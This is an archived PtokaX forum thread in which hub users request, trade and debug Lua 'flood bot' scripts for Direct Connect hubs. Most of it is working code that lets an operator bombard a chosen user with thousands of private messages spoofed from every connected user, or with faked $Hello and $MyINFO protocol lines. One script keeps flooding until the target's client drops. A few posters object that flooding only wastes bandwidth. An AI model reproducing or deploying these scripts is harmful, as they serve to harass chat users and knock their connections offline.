Print Page - !Flood

Title: !Flood
Post by: DarkElf on 29 October, 2003, 04:20:34

Hi, i need a simple flood script :P

Title:
Post by: BlazeXxX on 29 October, 2003, 17:53:44

RoboCop,ChannelBot and few other Script packages has this built in to it.. Try those script packages ..

Title:
Post by: [ES]latinmusic on 29 October, 2003, 19:49:38

QuoteOriginally posted by BlazeXxX
RoboCop,ChannelBot and few other Script packages has this built in to it.. Try those script packages ..

Why?, he is asking for an standalone bot i think, and not for an entire script package!.

Title:
Post by: NightLitch on 29 October, 2003, 19:57:30

Here you have a flood bot from the old Forum I picked up,
don't remember who made it...

Code Select

Bot = "Flood,1,2,2"
tUsers = {}

function Main()
	frmHub:RegBot(Bot)
end

function NewUserConnected(curUser)
	tUsers[curUser.sName] = 1;
end

function OpConnected(curUser)
	tUsers[curUser.sName] = 1;
end

function UserDisconnected(curUser)
	tUsers[curUser.sName] = nil;
end

function OpDiconnected(curUser)
	tUsers[curUser.sName] = nil;
end

function DataArrival(user,sdata)
	if(tUsers[user.sName] == nil) then
		tUsers[user.sName] = 1;
	end
	if strsub(sdata,1,1) == "<" then 
		local _,_, command, args = strfind(sdata,"%b<>%s+(%S+)%s*([^%|]*)%|$");

		if command == "!flood"  and user.bOperator then 
			local _,_, client,times,message = strfind(args,"^(%S+)%s+(%d+)%s+(.*)$");
			local sUser = nil

			if client and GetItemByName(client) then
				local sUser = nil
				for sUser,value in tUsers do
					for i = 1, tonumber(times), 1 do
						SendPmToNick(client,sUser,message);
					end
				end
			else
				user:SendData(Bot,"The Command is !flood   .")
			end

			return 1;
		else
			print(sdata)
		end
	end
end

Have a Good One / NightLitch

Title:
Post by: DarkElf on 30 October, 2003, 03:32:49

BlazeXxX: i know all package script but i need a script only !flood..

Nightlich: thanks but i need the respond to main chat..like:

!flood xxx 10000 bye
DarkElf has floodded xxx 10000 times because: Bye.

...

Title:
Post by: DarkElf on 31 October, 2003, 07:31:35

Anyone???? :( please it's important

Title:
Post by: BlazeXxX on 31 October, 2003, 16:59:58

Hmm.. I know its a simple code that goes below this line:

SendPmToNick(client,sUser,message);

After that line something like this should be inserted.. I can only do Msg sending to main saying ..username is flooding ..

Here is my little try:

SendToAll(Bot,"is Flooding a User For Annoying");

I dunno how to input the values u asked..

Title:
Post by: plop on 31 October, 2003, 17:54:24

change this.
SendPmToNick(client,sUser,message);
for this
SendToNick(client,message);

but why flood when you can kick/ban/drop.???
flooding is only useless waste of bandwidth.

plop

Title:
Post by: DarkElf on 31 October, 2003, 20:18:35

Maybe i'm stupid... :D

No, no, that's funny :P

I have a small hub and i try new script, but i not want a package, but many little script and an help and other things in txt (txtread script)

Title:
Post by: plop on 01 November, 2003, 02:26:00

try this 1.
should send in main or give an error, haven't tested it.

Code Select

-- original made by ....... (no idea, so if it's yours fill in your name here)
-- changed 2 send the flood in mainchat (plop)

Bot = "Flood,1,2,3"
tUsers = {}

function Main()
	frmHub:RegBot(Bot)
end

function NewUserConnected(curUser)
	tUsers[curUser.sName] = 1;
end

function OpConnected(curUser)
	tUsers[curUser.sName] = 1;
end

function UserDisconnected(curUser)
	tUsers[curUser.sName] = nil;
end

function OpDiconnected(curUser)
	tUsers[curUser.sName] = nil;
end

function DataArrival(user,sdata)
	if(tUsers[user.sName] == nil) then
		tUsers[user.sName] = 1;
	end
	if strsub(sdata,1,1) == "<" then 
		local _,_, command, args = strfind(sdata,"%b<>%s+(%S+)%s*([^%|]*)%|$");

		if command == "!flood"  and user.bOperator then 
			local _,_, client,times,message = strfind(args,"^(%S+)%s+(%d+)%s+(.*)$");
			local sUser = nil

			if client and GetItemByName(client) then
				local sUser = nil

				for sUser,value in tUsers do
					for i = 1, tonumber(times), 1 do
						SendToNick(client,message);
					end
				end
			else
				user:SendData(Bot,"The Command is !flood   .")
			end

			return 1;
		else
			print(sdata)
		end
	end
end

plop

Title:
Post by: OpiumVolage on 01 November, 2003, 02:54:51

As i've seen before, one of the best method for flooding is sending to the flooded people a "$HELLO RandomFlooder|$To: "..user.." From: RandomFloodder......" (RandomFlooder is faked).

And the really best method is: DON'T FLOOD, OR KNOW EXACTLY IF YOUR PC IS ABLE TO HANDLE A SYN FLOOD, or any other counter mesure from a hungry user.

Talking can be a better method than flooding.

Title:
Post by: DarkElf on 02 November, 2003, 08:17:37

plop: i not need a main chat flood....i need a simple flood command..with comunication in main like a drop,ban,kick..

eg.
[08:00:00] !flood test2 9999 no dc hacks
[08:00:25] DarkElf has floodded test2 because: no dc hacks

Opium: i know, but this commands aren't for use it :P

(sorry for my bad english :) )

Title:
Post by: dvxjunkie on 08 November, 2003, 02:05:21

I find your little display of my operating system. IP address, isp, and my opera browser rather unnerving. I dont think that kind of thing belongs here in the forum.

Title:
Post by: plop on 08 November, 2003, 07:04:30

sorry kinda forgot this 1.
here it is and as usual not tested.

Code Select

-- original made by ....... (no idea, so if it's yours fill in your name here)
-- added notidication in mainchat by plop

Bot = "Flood,1,2,4"
tUsers = {}

function Main()
	frmHub:RegBot(Bot)
end

function NewUserConnected(curUser)
	tUsers[curUser.sName] = 1;
end

function OpConnected(curUser)
	tUsers[curUser.sName] = 1;
end

function UserDisconnected(curUser)
	tUsers[curUser.sName] = nil;
end

function OpDiconnected(curUser)
	tUsers[curUser.sName] = nil;
end

function DataArrival(user,sdata)
	if(tUsers[user.sName] == nil) then
		tUsers[user.sName] = 1;
	end
	if strsub(sdata,1,1) == "<" then 
		local _,_, command, args = strfind(sdata,"%b<>%s+(%S+)%s*([^%|]*)%|$");

		if command == "!flood"  and user.bOperator then 
			local _,_, client,times,message = strfind(args,"^(%S+)%s+(%d+)%s+(.*)$");
			local sUser = nil

			if client and GetItemByName(client) then
				local sUser = nil
				for sUser,value in tUsers do
               SendToAll(Bot, client.." has been flooded because: ".. message.."|")
					for i = 1, tonumber(times), 1 do
						SendPmToNick(client,sUser,message);
					end
				end
			else
				user:SendData(Bot,"The Command is !flood   .")
			end

			return 1;
		else
			print(sdata)
		end
	end
end

QuoteOriginally posted by dvxjunkie
I find your little display of my operating system. IP address, isp, and my opera browser rather unnerving. I dont think that kind of thing belongs here in the forum.

totaly offtopic, you could have asked in a pm for him 2 remove it.
but now i would like 2 know were you see the operating system. isp, and my opera browser.
IP address i see, or do i surf 2 weird. lol

plop

Title:
Post by: pHaTTy on 29 November, 2003, 16:19:14

hmm i dont get it :/ looool it doesnt know my ip nor operating system oops sorry my fault :P loooool

im behind a proxy and have no ip loool

Title:
Post by: yepyepyep4711 on 29 November, 2003, 17:20:57

Ok I thought I'd bring the answers here, because I'm the own who had the Idea for this script. So the credits go to Skrollster and RabidWombat, two e x c e l l e n t scripters.
For all who don't know, this is the ultimate Flood: it sends messages from all active users, so it is also effective if one deactivates bot messages ;)

I've corrected the MainChat announcement of plop, it was flooding the main ;)

But thanks a lot for this version of it, I only had the previous one, and it was not working :)
A shame it doesn't send messages for the bots too, though.

NOTE: Be VERY careful while using this, it can kill your hub. Maybe a check for would be cool, so that the owner can choose a maximum number of times. I advise something like 500/10 users.

QuoteOriginally posted by plop
Code Select Expand
-- original made by Skrollster and RabidWombat -- added notidication in mainchat by plop, corrected by yepyepyep4711 ;op Bot = "Flood,1,2,5" tUsers = {} function Main() frmHub:RegBot(Bot) end function NewUserConnected(curUser) tUsers[curUser.sName] = 1; end function OpConnected(curUser) tUsers[curUser.sName] = 1; end function UserDisconnected(curUser) tUsers[curUser.sName] = nil; end function OpDiconnected(curUser) tUsers[curUser.sName] = nil; end function DataArrival(user,sdata) if(tUsers[user.sName] == nil) then tUsers[user.sName] = 1; end if strsub(sdata,1,1) == "<" then local _,_, command, args = strfind(sdata,"%b<>%s+(%S+)%s*([^%|]*)%|$"); if command == "!flood" and user.bOperator then local _,_, client,times,message = strfind(args,"^(%S+)%s+(%d+)%s+(.*)$"); local sUser = nil if client and GetItemByName(client) then local sUser = nil for sUser,value in tUsers do for i = 1, tonumber(times), 1 do SendPmToNick(client,sUser,message); end end SendToAll(Bot, client.." has been flooded because: ".. message.."|") else user:SendData(Bot,"The Command is !flood .") end return 1; else print(sdata) end end end
QuoteOriginally posted by dvxjunkie
I find your little display of my operating system. IP address, isp, and my opera browser rather unnerving. I dont think that kind of thing belongs here in the forum.
totaly offtopic, you could have asked in a pm for him 2 remove it.
but now i would like 2 know were you see the operating system. isp, and my opera browser.
IP address i see, or do i surf 2 weird. lol

plop

Ok, and now I'll directly address this point. Look at my signature. Every each one of you will see HIS IP, OS, etc. It is dynamic. What it means is this: noone else but you and the Webserver is seeing this information, BUT it is also meant to show you and make you reflect on how much webservers (or any server, really) know about you.

In short: it is not dangerous, it is informative :D

Cheers everyone,

yepyepyep4711

Title:
Post by: BlazeXxX on 30 November, 2003, 03:52:42

yepyepyep4711,
Welcome back to the forum :) You've been missing the action for sometime :)

Title:
Post by: plop on 30 November, 2003, 18:23:08

thx yepyepyep for fixing it and most of all remembering who made the original.

plop

Title:
Post by: psf8500 on 30 November, 2003, 18:59:51

channelbot has a pretty poor flood so i decided to improve it a bit.

i changed this (from the doflood function):

Code Select

for z=1,count do
	SendPmToNick(usr.sName, z, arg3) 
end

to this:

Code Select

for z=1,count do
	usr:SendData("$MyINFO $ALL "..z.." YOU SUCK!!!!$ $DSL"..strchar( 1 ).."$$0$")
	SendPmToNick(usr.sName, z, arg3) 
end

also effective against people who ignore bot messages. and should work better in small hubs than the one posted by plop/yepyepyep.
shouldnt be too hard to modify the one posted by plop/yepyepyep to flood using this method.

Title:
Post by: JackTheRipper2002 on 29 March, 2004, 19:39:24

Hi again...

I also searched an stand alone flood script..
But I have an questeion..
How can I manag, that only an user set as master is allowed to flood the other.. and that the flood test is not showen in one PM window.. Every Line in a new window.. iss this possible.. ???

Here the script again.. And what does mean the line
print(sdata) ???

Code Select

-- original made by Skrollster and RabidWombat
-- added notidication in mainchat by plop, corrected by yepyepyep4711 ;op

Bot = "[FP]-GSG9"
tUsers = {}

function Main()
	frmHub:RegBot(Bot)
end

function NewUserConnected(curUser)
	tUsers[curUser.sName] = 1;
end

function OpConnected(curUser)
	tUsers[curUser.sName] = 1;
end

function UserDisconnected(curUser)
	tUsers[curUser.sName] = nil;
end

function OpDiconnected(curUser)
	tUsers[curUser.sName] = nil;
end

function DataArrival(user,sdata)
	if(tUsers[user.sName] == nil) then
		tUsers[user.sName] = 1;
	end
	if strsub(sdata,1,1) == "<" then 
		local _,_, command, args = strfind(sdata,"%b<>%s+(%S+)%s*([^%|]*)%|$");

		if command == "!flood"  and "curUser.siProfile == 0" then 
			local _,_, client,times,message = strfind(args,"^(%S+)%s+(%d+)%s+(.*)$");
			local sUser = nil

			if client and GetItemByName(client) then
				local sUser = nil
				for sUser,value in tUsers do
					for i = 1, tonumber(times), 1 do
						SendPmToNick(client,sUser,message);
					end
				end
	                SendToAll(Bot, client.." has been flooded because: ".. message.."|")
			else
				user:SendData(Bot,"The Command is !flood   .")
			end

			return 1;		
		end
	end
end

bye jack

Title:
Post by: NotRabidWombat on 29 March, 2004, 19:58:01

RabidWombat is a close personal friend of mine and I know that script isn't his baby.

http://board.univ-angers.fr/thread.php?threadid=738&boardid=12&styleid=1

-NotRabidWombat

Title:
Post by: [NL]Pur on 29 March, 2004, 20:13:26

so you are a friend of yourself ?

Title:
Post by: JackTheRipper2002 on 29 March, 2004, 20:18:02

I'll try.. but what's the sence that may IP; OS and so on is shown in your post???

Title:
Post by: JackTheRipper2002 on 29 March, 2004, 20:34:37

hmm.. I tried it.. very funny.. Now the flood open ech line in a new window.. but OP's are possible to flood.. That schouldn't be.. Only Master should be allowed..

And next problem in this script.. how can I set the nummbers floods.. you know what I mean???

Code Select

 

sBotName = "-=UltraFlood=-";

sFloodUser = nil;
iFloodCount = 0;

sToFloodUser = nil;

function Main()
	frmHub:RegBot(sBotName);
	SetTimer(10);
end

function OnTimer()
	for i = 1, 20, 1 do
		iFloodCount = iFloodCount + 1;
		SendToNick(sFloodUser, "$Hello Flooder"..iFloodCount..sToFloodUser..iFloodCount.." $ ")
	end

	if(GetItemByName(sFloodUser) == nil) then
		StopTimer();
		SendToAll(sBotName, sFloodUser.." was flooded with "..iFloodCount.." and went down in a firier ball of death.");
		iFloodCount = 0;
		sFloodUser,sToFloodUser = nil,nil;
	end
end

function DataArrival(curUser, sData)
	local s, e, cmd, user = strfind(sData, "%b<> (%S+) (%S+)%|$");

	if(cmd == nil or curUser.bOperator == nil) then return 0; end

	cmd = strlower(cmd);

	if(cmd == "!flood" and GetItemByName(user)) then
		sFloodUser = user;
		sToFloodUser = "|$To: "..sFloodUser.." From: Flooder";
		SendToAll(sBotName, "Flooding "..user.." like a sack of potatos!!!");
		StartTimer();
	end
end

Jack

Title:
Post by: imby on 30 October, 2004, 18:16:03

Code Select

-- original made by Skrollster and RabidWombat
-- added notidication in mainchat by plop, corrected by yepyepyep4711 ;op

Bot = "Flood,1,2,5"
tUsers = {}

function Main()
	frmHub:RegBot(Bot)
end

function NewUserConnected(curUser)
	tUsers[curUser.sName] = 1;
end

function OpConnected(curUser)
	tUsers[curUser.sName] = 1;
end

function UserDisconnected(curUser)
	tUsers[curUser.sName] = nil;
end

function OpDiconnected(curUser)
	tUsers[curUser.sName] = nil;
end

function DataArrival(user,sdata)
	if(tUsers[user.sName] == nil) then
		tUsers[user.sName] = 1;
	end
	if strsub(sdata,1,1) == "<" then 
		local _,_, command, args = strfind(sdata,"%b<>%s+(%S+)%s*([^%|]*)%|$");

		if command == "!flood"  and user.bOperator then 
			local _,_, client,times,message = strfind(args,"^(%S+)%s+(%d+)%s+(.*)$");
			local sUser = nil

			if client and GetItemByName(client) then
				local sUser = nil
				for sUser,value in tUsers do
					for i = 1, tonumber(times), 1 do
						SendPmToNick(client,sUser,message);
					end
				end
	                SendToAll(Bot, client.." has been flooded because: ".. message.."|")
			else
				user:SendData(Bot,"The Command is !flood   .")
			end

			return 1;
		else
			print(sdata)
		end
	end
end

anyone knows why this script increases in memory? after a day of leaving it unused but as a running script it takes as much as robocop.

Title:
Post by: Herodes on 30 October, 2004, 22:12:49

try to change this ...

Code Select

			end

			return 1;
		else
			[b]print(sdata)[/b]
		end
	end
end

to this ...

Code Select

			end

			return 1;
		else
			[b]--print(sdata)[/b]
		end
	end
end

and lets see if that solves it ..

Title:
Post by: imby on 31 October, 2004, 17:27:43

hmm nope, uncomenting that out didn't help. again, after leaving it for a night, it has rocketed

Title:
Post by: plop on 31 October, 2004, 18:17:17

give this 1 a try.

Code Select

-- original made by Skrollster and RabidWombat
-- added notidication in mainchat by plop, corrected by yepyepyep4711 ;op

Bot = "Flood,1,2,5"
tUsers = {}

function Main()
	frmHub:RegBot(Bot)
end

function NewUserConnected(curUser)
	tUsers[curUser.sName] = 1
end

function OpConnected(curUser)
	tUsers[curUser.sName] = 1
end

function UserDisconnected(curUser)
	tUsers[curUser.sName] = nil
end

function OpDiconnected(curUser)
	tUsers[curUser.sName] = nil
end

function Clear()
	collectgarbage()
	flush()
end

function DataArrival(user,sdata)
	if(tUsers[user.sName] == nil) then
		tUsers[user.sName] = 1
	end
	if strsub(sdata,1,1) == "<" and user.bOperator then
		local _,_, command, args = strfind(sdata,"%b<>%s+(%S+)%s*([^%|]*)%|$")

		if command == "!flood" then
			local _,_, client,times,message = strfind(args,"^(%S+)%s+(%d+)%s+(.*)$")
			local sUser = nil

			if client and GetItemByName(client) then
				local sUser = nil
				for sUser,value in tUsers do
					for i = 1, tonumber(times), 1 do
						SendPmToNick(client,sUser,message)
					end
				end
				SendToAll(Bot, client.." has been flooded because: ".. message.."|")
				Clear()
			else
				user:SendData(Bot,"The Command is !flood   .")
			end

			return 1
		end
	end
end

plop

Title:
Post by: imby on 01 November, 2004, 15:46:20

thanks, but again, leaving it on over night gives the same results. you can see it's noticable effects when you just leave it in for a few hours.

Title:
Post by: plop on 01 November, 2004, 17:26:31

next try.

Code Select

-- original made by Skrollster and RabidWombat
-- added notidication in mainchat by plop, corrected by yepyepyep4711 ;op
-- some potential fixes by plop

Bot = "Flood,1,2,5"
tUsers = {}

function Main()
	frmHub:RegBot(Bot)
end

function NewUserConnected(curUser)
	tUsers[curUser.sName] = 1
end

function OpConnected(curUser)
	tUsers[curUser.sName] = 1
end

function UserDisconnected(curUser)
	tUsers[curUser.sName] = nil
end

function OpDisconnected(curUser)
	tUsers[curUser.sName] = nil
end

function Clear()
	collectgarbage()
	flush()
end

function DataArrival(user,sdata)
	if(tUsers[user.sName] == nil) then
		tUsers[user.sName] = 1
	end
	if strsub(sdata,1,1) == "<" and user.bOperator then
		local _,_, command, args = strfind(sdata,"%b<>%s+(%S+)%s*([^%|]*)%|$")

		if command == "!flood" then
			local _,_, client,times,message = strfind(args,"^(%S+)%s+(%d+)%s+(.*)$")

			if client and GetItemByName(client) then
				for sUser,value in tUsers do
					for i = 1, tonumber(times), 1 do
						if GetItemByName(client) then
						      SendPmToNick(client,sUser,message)
						else
							times = i
							break
						end
					end
				end
				SendToAll(Bot, client.." has been flooded "..times.."x because: ".. message.."|")
				Clear()
			else
				user:SendData(Bot,"The Command is !flood   .")
			end

			return 1
		end
	end
end

also found a s missing in OpDisconnected.

plop

Title:
Post by: imby on 02 November, 2004, 00:58:28

hmm, this one is already taking 3 times as much as deflood. starts low and keeps rising. maybe it's not fixable?

Title:
Post by: plop on 02 November, 2004, 21:35:31

QuoteOriginally posted by imby
hmm, this one is already taking 3 times as much as deflood. starts low and keeps rising. maybe it's not fixable?

i have some more idea's but 1st i would like 2 know more precise how much mem it uses.

plop

Title:
Post by: imby on 03 November, 2004, 02:55:34

Screenshots:

'Screenshot' shows how long i've left it running also:

http://www.picturetrail.com/screenshot200

seems a little excessive for an idle stand alone script right? This normally wouldn't be a problem, but i usually leave the hub without a reboot for atleast a week. don't want it to rise too drammatically.

'Screenshot2' is Straight after a 'Restart scripts'.

I'm willing to test out any new additions you make, i just don't want to bother you.

I'l keep these pics up for a few days, cheers.

Title:
Post by: imby on 12 November, 2004, 15:46:09

hmm, still rising:

(http://pic4.picturetrail.com/VOL778/2793722/5609778/72973735.jpg)

PtokaX forum

Archive => Archived 4.0 boards => Request for Lua 4 scripts => Topic started by: DarkElf on 29 October, 2003, 04:20:34